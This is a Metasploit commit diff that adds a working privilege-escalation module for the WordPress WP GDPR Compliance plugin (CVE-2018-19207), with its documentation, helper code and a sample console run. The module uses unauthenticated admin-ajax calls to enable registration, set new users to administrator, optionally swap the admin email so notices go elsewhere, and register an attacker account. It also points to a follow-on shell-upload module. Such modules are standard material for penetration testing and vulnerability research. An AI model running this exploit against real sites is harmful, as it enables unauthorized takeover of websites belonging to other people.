Land #10952, WP GDPR Compliance plugin exploit
parent
2c33b3bcc0
commit
340f6d7d0d
|
@ -0,0 +1,48 @@
|
|||
## Description
|
||||
|
||||
This module exploits the [Wordpress GDPR compliance plugin](https://wordpress.org/plugins/wp-gdpr-compliance/) lack of validation ([WPVDB 9144](https://wpvulndb.com/vulnerabilities/9144)), which affects versions 1.4.2 and lower.
|
||||
|
||||
When a user triggers GDPR-related actions, Wordpress's `admin-ajax.php` is called but fails to do validation and capacity checks regarding the asked actions. This leads to any unauthenticated user being able to modify any arbitrary settings on the targeted server.
|
||||
|
||||
This module changes the admin email (optional) to prevent notification sending, enables new user registration, changes the default role of new users to Administrator, and registers a new user that can be used for authentication. The attacker can then log in and take any actions on the newly compromised site.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[GDPR Compliance plugin <= 1.4.2](https://downloads.wordpress.org/plugin/wp-gdpr-compliance.1.4.2.zip)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. `./msfconsole`
|
||||
3. `use auxiliary/admin/http/wp_gdpr_compliance_privesc`
|
||||
4. `set RHOST [wp host]`
|
||||
5. `set RPORT [wp port]`
|
||||
6. `set EMAIL [email address]`
|
||||
7. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Debian 9.6 running Wordpress 4.7.5 with WordPress GDPR Compliance plugin 1.4.2:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/admin/http/wp_gdpr_compliance_privesc
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set rhosts 172.22.222.145
|
||||
rhosts => 172.22.222.145
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set email test@example.com
|
||||
email => test@example.com
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > check
|
||||
|
||||
[*] Checking /wp-content/plugins/wp-gdpr-compliance/readme.txt
|
||||
[*] Found version 1.4.2 of the plugin
|
||||
[*] 172.22.222.145:80 The target appears to be vulnerable.
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > exploit
|
||||
|
||||
[*] Getting security token from host...
|
||||
[!] Enabling user registrations...
|
||||
[!] Setting the default user role type to administrator...
|
||||
[*] Registering msfuser with email test@example.com
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) >
|
||||
```
|
|
@ -10,6 +10,7 @@ module Msf
|
|||
require 'msf/core/exploit/http/wordpress/base'
|
||||
require 'msf/core/exploit/http/wordpress/helpers'
|
||||
require 'msf/core/exploit/http/wordpress/login'
|
||||
require 'msf/core/exploit/http/wordpress/register'
|
||||
require 'msf/core/exploit/http/wordpress/posts'
|
||||
require 'msf/core/exploit/http/wordpress/uris'
|
||||
require 'msf/core/exploit/http/wordpress/users'
|
||||
|
@ -21,6 +22,7 @@ module Msf
|
|||
include Msf::Exploit::Remote::HTTP::Wordpress::Base
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress::Helpers
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress::Login
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress::Register
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress::Posts
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress::URIs
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress::Users
|
||||
|
|
|
@ -20,6 +20,22 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
|
|||
post_data
|
||||
end
|
||||
|
||||
|
||||
# Returns the POST data for a Wordpress register request
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param email [String] Email Address
|
||||
# @param redirect URL [String] to redirect after successful registration
|
||||
# @return [Hash] The post data for vars_post Parameter
|
||||
def wordpress_helper_register_post_data(user, email, redirect = nil)
|
||||
{
|
||||
'user_login' => user.to_s,
|
||||
'user_email' => email.to_s,
|
||||
'redirect_to' => redirect.to_s,
|
||||
'wp-submit' => 'Register'
|
||||
}
|
||||
end
|
||||
|
||||
# Helper method to post a comment to Wordpress
|
||||
#
|
||||
# @param comment [String] The comment
|
||||
|
|
|
@ -0,0 +1,20 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Wordpress::Register
|
||||
# performs a wordpress registration
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param email [String] Email Address
|
||||
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
|
||||
# @return [Bool] registration request success status
|
||||
def wordpress_register(user, email, timeout = 20)
|
||||
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_login,
|
||||
'vars_get' => {'action' => 'register'},
|
||||
'vars_post' => wordpress_helper_register_post_data(user, email, redirect)
|
||||
}, timeout)
|
||||
res && res.redirect? && res.redirection && res.redirection.to_s == redirect
|
||||
end
|
||||
end
|
|
@ -0,0 +1,112 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress WP GDPR Compliance Plugin Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The Wordpress GDPR Compliance plugin <= v1.4.2 allows unauthenticated users to set
|
||||
wordpress administration options by overwriting values within the database.
|
||||
|
||||
The vulnerability is present in WordPress’s admin-ajax.php, which allows unauthorized
|
||||
users to trigger handlers and make configuration changes because of a failure to do
|
||||
capability checks when executing the 'save_setting' internal action.
|
||||
|
||||
WARNING: The module sets Wordpress configuration options without reading their current
|
||||
values and restoring them later.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Mikey Veenstra (WordFence)', # Vulnerability discovery
|
||||
'Thomas Labadie' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.wordfence.com/blog/2018/11/privilege-escalation-flaw-in-wp-gdpr-compliance-plugin-exploited-in-the-wild/'],
|
||||
['CVE', '2018-19207'],
|
||||
['WPVDB', '9144']
|
||||
],
|
||||
'Notes' =>
|
||||
{
|
||||
'SideEffects' => [CONFIG_CHANGES]
|
||||
},
|
||||
'DisclosureDate' => 'Nov 08 2018'
|
||||
))
|
||||
|
||||
register_options [
|
||||
OptString.new('EMAIL', [true, 'Email for registration', nil]),
|
||||
OptString.new('USER', [true, 'Username for registration', 'msfuser'])
|
||||
]
|
||||
|
||||
register_advanced_options [
|
||||
OptString.new('WPEMAIL', [false, 'Wordpress Administration Email (default: no email modification)', nil])
|
||||
]
|
||||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('wp-gdpr-compliance', '1.4.3')
|
||||
end
|
||||
|
||||
def set_wp_option(name, value, ajax_security)
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'vars_post' => {
|
||||
'action' => 'wpgdprc_process_action',
|
||||
'security' => ajax_security,
|
||||
'data' => "{\"type\":\"save_setting\",\"append\":false,\"option\":\"#{name}\",\"value\":\"#{value}\"}"
|
||||
}
|
||||
)
|
||||
|
||||
res && res.code == 200
|
||||
end
|
||||
|
||||
def run
|
||||
print_status('Getting security token from host...')
|
||||
wp_home_res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.path
|
||||
)
|
||||
|
||||
unless wp_home_res && wp_home_res.code == 200
|
||||
fail_with(Failure::UnexpectedReply, "Unable to access Wordpress: #{target_uri.path}")
|
||||
end
|
||||
|
||||
ajax_security = wp_home_res.body[/"ajaxSecurity":"([a-zA-Z0-9]+)"/i, 1]
|
||||
|
||||
if datastore['WPEMAIL'].present? && (datastore['WPEMAIL'] =~ URI::MailTo::EMAIL_REGEXP)
|
||||
print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")
|
||||
unless set_wp_option('admin_email', datastore['WPEMAIL'], ajax_security)
|
||||
print_error('Failed to change the admin e-mail address')
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
print_warning('Enabling user registrations...')
|
||||
unless set_wp_option('users_can_register', '1', ajax_security)
|
||||
print_error('Failed to enable user registrations')
|
||||
return
|
||||
end
|
||||
|
||||
print_warning('Setting the default user role type to administrator...')
|
||||
unless set_wp_option('default_role', 'administrator', ajax_security)
|
||||
print_error("Failed to set the default user role")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")
|
||||
unless (datastore['EMAIL'] =~ URI::MailTo::EMAIL_REGEXP) && wordpress_register(datastore['USER'], datastore['EMAIL'])
|
||||
print_error("Failed to register user")
|
||||
return
|
||||
end
|
||||
|
||||
vprint_good('For a shell: use exploits/unix/webapp/wp_admin_shell_upload')
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue